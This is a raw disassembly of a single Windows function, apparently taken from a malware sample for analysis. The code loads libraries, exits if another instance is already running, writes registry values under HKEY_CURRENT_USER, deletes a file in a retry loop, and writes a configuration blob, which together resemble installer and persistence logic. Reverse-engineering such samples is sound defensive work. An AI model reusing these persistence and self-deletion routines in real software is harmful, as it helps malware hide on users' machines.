Function at 0x1000c080
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2c5
push 0
push 0
dec ecx
jne 0x1000c088
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
xor eax, eax
push ebp
push 0x1000c850
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x1000c864
call sub.kernel32.dll_LoadLibraryA
push 0x1000c874
call sub.kernel32.dll_LoadLibraryA
push 0x1000c884
call sub.kernel32.dll_LoadLibraryA
push 0x1000c890
call sub.kernel32.dll_LoadLibraryA
push 0x1000c898
call sub.kernel32.dll_LoadLibraryA
push 0x1000c8a4
call sub.kernel32.dll_LoadLibraryA
push 0x1000c8b4
call sub.kernel32.dll_LoadLibraryA
push 0x1000c8c0
call sub.kernel32.dll_LoadLibraryA
push 0x1000c8d0
call sub.kernel32.dll_LoadLibraryA
push 0x1000c8dc
call sub.kernel32.dll_LoadLibraryA
push 0x1000c8ec
call sub.kernel32.dll_LoadLibraryA
lea eax, [ebp - 0x13a8]
mov edx, 0x1390
call fcn.100050d8
lea esi, [ebx + 0x210]
lea edi, [ebp - 0x13a8]
mov ecx, 0x4e4
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x15b8]
call fcn.10005664
lea edx, [ebp - 0x15b8]
lea eax, [ebp - 0x13ac]
mov ecx, 0x105
call fcn.100038e0
lea eax, [ebp - 0x13ac]
mov edx, 0x1000c8fc
call fcn.10003928
mov eax, dword [ebp - 0x13ac]
call fcn.1000390c
call fcn.10005690
cmp al, 1
jne 0x1000c292
lea eax, [ebp - 0x15b8]
call fcn.10005664
lea edx, [ebp - 0x15b8]
lea eax, [ebp - 0x15bc]
mov ecx, 0x105
call fcn.100038e0
push dword [ebp - 0x15bc]
push 0x1000c8fc
lea eax, [ebp - 0x15c0]
lea edx, [ebp - 0x3fe]
mov ecx, 0x3d
call fcn.100038e0
push dword [ebp - 0x15c0]
push 0x1000c928
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.100039ec
lea eax, [ebp - 0x15b8]
call fcn.10005664
lea edx, [ebp - 0x15b8]
lea eax, [ebp - 0x15c4]
mov ecx, 0x105
call fcn.100038e0
push dword [ebp - 0x15c4]
push 0x1000c8fc
lea eax, [ebp - 0x15c8]
lea edx, [ebp - 0x3fe]
mov ecx, 0x3d
call fcn.100038e0
push dword [ebp - 0x15c8]
push 0x1000c938
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.100039ec
lea eax, [ebp - 0x15b8]
call fcn.10005664
lea edx, [ebp - 0x15b8]
lea eax, [ebp - 0x15cc]
mov ecx, 0x105
call fcn.100038e0
push dword [ebp - 0x15cc]
push 0x1000c8fc
lea eax, [ebp - 0x15d0]
lea edx, [ebp - 0x3fe]
mov ecx, 0x3d
call fcn.100038e0
push dword [ebp - 0x15d0]
push 0x1000c948
mov eax, dword [0x1000e128]
mov edx, 4
call fcn.100039ec
jmp 0x1000c3a2
lea eax, [ebp - 0x15b8]
call fcn.10005664
lea edx, [ebp - 0x15b8]
lea eax, [ebp - 0x15d4]
mov ecx, 0x105
call fcn.100038e0
push dword [ebp - 0x15d4]
push 0x1000c958
lea eax, [ebp - 0x15d8]
lea edx, [ebp - 0x3fe]
mov ecx, 0x3d
call fcn.100038e0
push dword [ebp - 0x15d8]
push 0x1000c928
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.100039ec
lea eax, [ebp - 0x15b8]
call fcn.10005664
lea edx, [ebp - 0x15b8]
lea eax, [ebp - 0x15dc]
mov ecx, 0x105
call fcn.100038e0
push dword [ebp - 0x15dc]
push 0x1000c958
lea eax, [ebp - 0x15e0]
lea edx, [ebp - 0x3fe]
mov ecx, 0x3d
call fcn.100038e0
push dword [ebp - 0x15e0]
push 0x1000c938
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.100039ec
lea eax, [ebp - 0x15b8]
call fcn.10005664
lea edx, [ebp - 0x15b8]
lea eax, [ebp - 0x15e4]
mov ecx, 0x105
call fcn.100038e0
push dword [ebp - 0x15e4]
push 0x1000c958
lea eax, [ebp - 0x15e8]
lea edx, [ebp - 0x3fe]
mov ecx, 0x3d
call fcn.100038e0
push dword [ebp - 0x15e8]
push 0x1000c948
mov eax, dword [0x1000e128]
mov edx, 4
call fcn.100039ec
lea eax, [ebp - 0x15ec]
push eax
mov cx, 0x3a
mov dx, 0x20
mov ax, 0x2f
call fcn.10006b14
mov eax, dword [ebp - 0x15ec]
push eax
push 2
lea eax, [ebp - 0x15f8]
lea edx, [ebp - 0x3fe]
mov ecx, 0x3d
call fcn.100034b0
mov ecx, dword [ebp - 0x15f8]
lea eax, [ebp - 0x15f4]
mov edx, 0x1000c964
call fcn.1000352c
mov edx, dword [ebp - 0x15f4]
lea eax, [ebp - 0x15f0]
call fcn.100038fc
mov edx, dword [ebp - 0x15f0]
mov ecx, 0x1000c974
mov eax, 0x80000001
call fcn.1000577c
lea eax, [ebp - 0x3fe]
push eax
push 0
push 0
call fcn.10004df0
mov dword [ebp - 0x14], eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x1000c43b
push 0
call sub.kernel32.dll_ExitProcess_1
lea eax, [ebp - 0x15fc]
mov edx, ebx
mov ecx, 0x105
call fcn.100038e0
mov eax, dword [ebp - 0x15fc]
lea ecx, [ebp - 4]
lea edx, [ebp - 0x13a8]
call fcn.100099f8
lea edx, [ebp - 0x13a8]
mov eax, dword [ebp - 4]
call fcn.10009e74
cmp byte [ebp - 0x7d7], 1
jne 0x1000c499
lea edx, [ebp - 0x1600]
mov eax, dword [ebp - 4]
call fcn.10005d78
mov eax, dword [ebp - 0x1600]
call fcn.10005f1c
mov eax, dword [ebp - 4]
call fcn.10005f1c
cmp byte [ebp - 0x400], 1
jne 0x1000c4fa
mov eax, dword [ebp - 4]
push eax
push 2
lea eax, [ebp - 0x160c]
lea edx, [ebp - 0x3fe]
mov ecx, 0x3d
call fcn.100034b0
mov ecx, dword [ebp - 0x160c]
lea eax, [ebp - 0x1608]
mov edx, 0x1000c964
call fcn.1000352c
mov edx, dword [ebp - 0x1608]
lea eax, [ebp - 0x1604]
call fcn.100038fc
mov edx, dword [ebp - 0x1604]
mov ecx, 0x1000c994
mov eax, 0x80000001
call fcn.1000577c
cmp byte [ebp - 0x7d8], 1
jne 0x1000c58f
lea eax, [ebp - 0x1610]
mov edx, ebx
mov ecx, 0x105
call fcn.100038e0
mov eax, dword [ebp - 0x1610]
mov edx, dword [ebp - 4]
call fcn.10003a34
je 0x1000c58f
lea eax, [ebp - 0x1614]
mov edx, ebx
mov ecx, 0x105
call fcn.100038e0
mov eax, dword [ebp - 0x1614]
push eax
lea edx, [ebp - 0x1618]
xor eax, eax
call fcn.10005954
mov edx, dword [ebp - 0x1618]
pop eax
call fcn.10003a34
je 0x1000c58f
xor esi, esi
jmp 0x1000c57d
push 0x80
push edi
call sub.kernel32.dll_SetFileAttributesW
push edi
call sub.kernel32.dll_DeleteFileW
push 0x1f4
call sub.kernel32.dll_Sleep
inc esi
mov edi, ebx
mov eax, edi
call fcn.10005ca4
cmp al, 1
jne 0x1000c58f
cmp esi, 5
jl 0x1000c561
mov eax, dword [0x1000e10c]
call fcn.10003770
mov eax, dword [0x1000e12c]
lea edx, [ebp - 0x28c]
mov ecx, 0x3d
call fcn.100038e0
mov eax, dword [0x1000e120]
mov dl, byte [ebp - 0x28f]
mov byte [eax], dl
mov eax, dword [0x1000e100]
lea edx, [ebp - 0x212]
mov ecx, 0x3d
call fcn.100038e0
mov eax, dword [0x1000e110]
lea edx, [ebp - 0x198]
mov ecx, 0x3d
call fcn.100038e0
mov eax, dword [0x1000e114]
lea edx, [ebp - 0x11e]
mov ecx, 0x3d
call fcn.100038e0
mov eax, dword [0x1000e11c]
mov edx, dword [ebp - 0xa4]
mov dword [eax], edx
mov eax, dword [0x1000e124]
mov dl, byte [ebp - 0xa0]
mov byte [eax], dl
mov eax, dword [0x1000e118]
mov dl, byte [ebp - 0x28e]
mov byte [eax], dl
mov eax, dword [0x1000e108]
lea edx, [ebp - 0x3fe]
mov ecx, 0x3d
call fcn.100038e0
mov eax, dword [0x1000e104]
lea edx, [ebp - 0x9e]
mov ecx, 0x3d
call fcn.100038e0
cmp byte [ebp - 0x290], 1
jne 0x1000c659
call fcn.100093e4
cmp byte [ebp - 0x24], 1
jne 0x1000c673
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x1000afc8]
call fcn.1000b634
call fcn.1000a480
mov eax, dword [ebp - 0x10]
push eax
lea ecx, [ebp - 0x13a8]
mov dl, 1
mov eax, dword [0x1000a4e8]
call fcn.1000aa54
call fcn.1000a480
jmp 0x1000c695
call fcn.10006058
mov eax, dword [0x1000e130]
cmp byte [eax], 0
je 0x1000c690
call fcn.10008d4c
lea eax, [ebp - 8]
mov edx, dword [0x1000e10c]
mov edx, dword [edx]
call fcn.100037d0
push 0x80
mov eax, dword [ebp - 0xc]
call fcn.1000390c
mov ebx, eax
push ebx
call sub.kernel32.dll_SetFileAttributesW
push 0
push 0x1390
mov eax, ebx
lea edx, [ebp - 0x13a8]
call fcn.10005eb4
mov eax, dword [ebp - 4]
push eax
push 2
lea eax, [ebp - 0x1624]
lea edx, [ebp - 0x3fe]
mov ecx, 0x3d
call fcn.100034b0
mov ecx, dword [ebp - 0x1624]
lea eax, [ebp - 0x1620]
mov edx, 0x1000c964
call fcn.1000352c
mov edx, dword [ebp - 0x1620]
lea eax, [ebp - 0x161c]
call fcn.100038fc
mov edx, dword [ebp - 0x161c]
mov ecx, 0x1000c9b0
mov eax, 0x80000001
call fcn.1000577c
mov eax, dword [ebp - 8]
call fcn.1000391c
add eax, eax
push eax
lea eax, [ebp - 0x18]
mov ecx, 1
mov edx, dword [0x1000bd14]
call fcn.10004584
add esp, 4
mov eax, dword [ebp - 8]
call fcn.1000391c
add eax, eax
push eax
mov eax, dword [ebp - 8]
call fcn.1000390c
mov edx, eax
mov eax, dword [ebp - 0x18]
pop ecx
call fcn.100050d0
xor eax, eax
test al, al
jne 0x1000c7a1
xor esi, esi
lea edx, [ebp - 0x1628]
xor eax, eax
call fcn.10005954
mov edx, dword [ebp - 0x1628]
mov eax, dword [ebp - 0x18]
call fcn.1000bd60
inc esi
cmp esi, 0xa
jg 0x1000c7a1
cmp al, 1
jne 0x1000c77c
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle
push 0
call sub.kernel32.dll_ExitProcess_1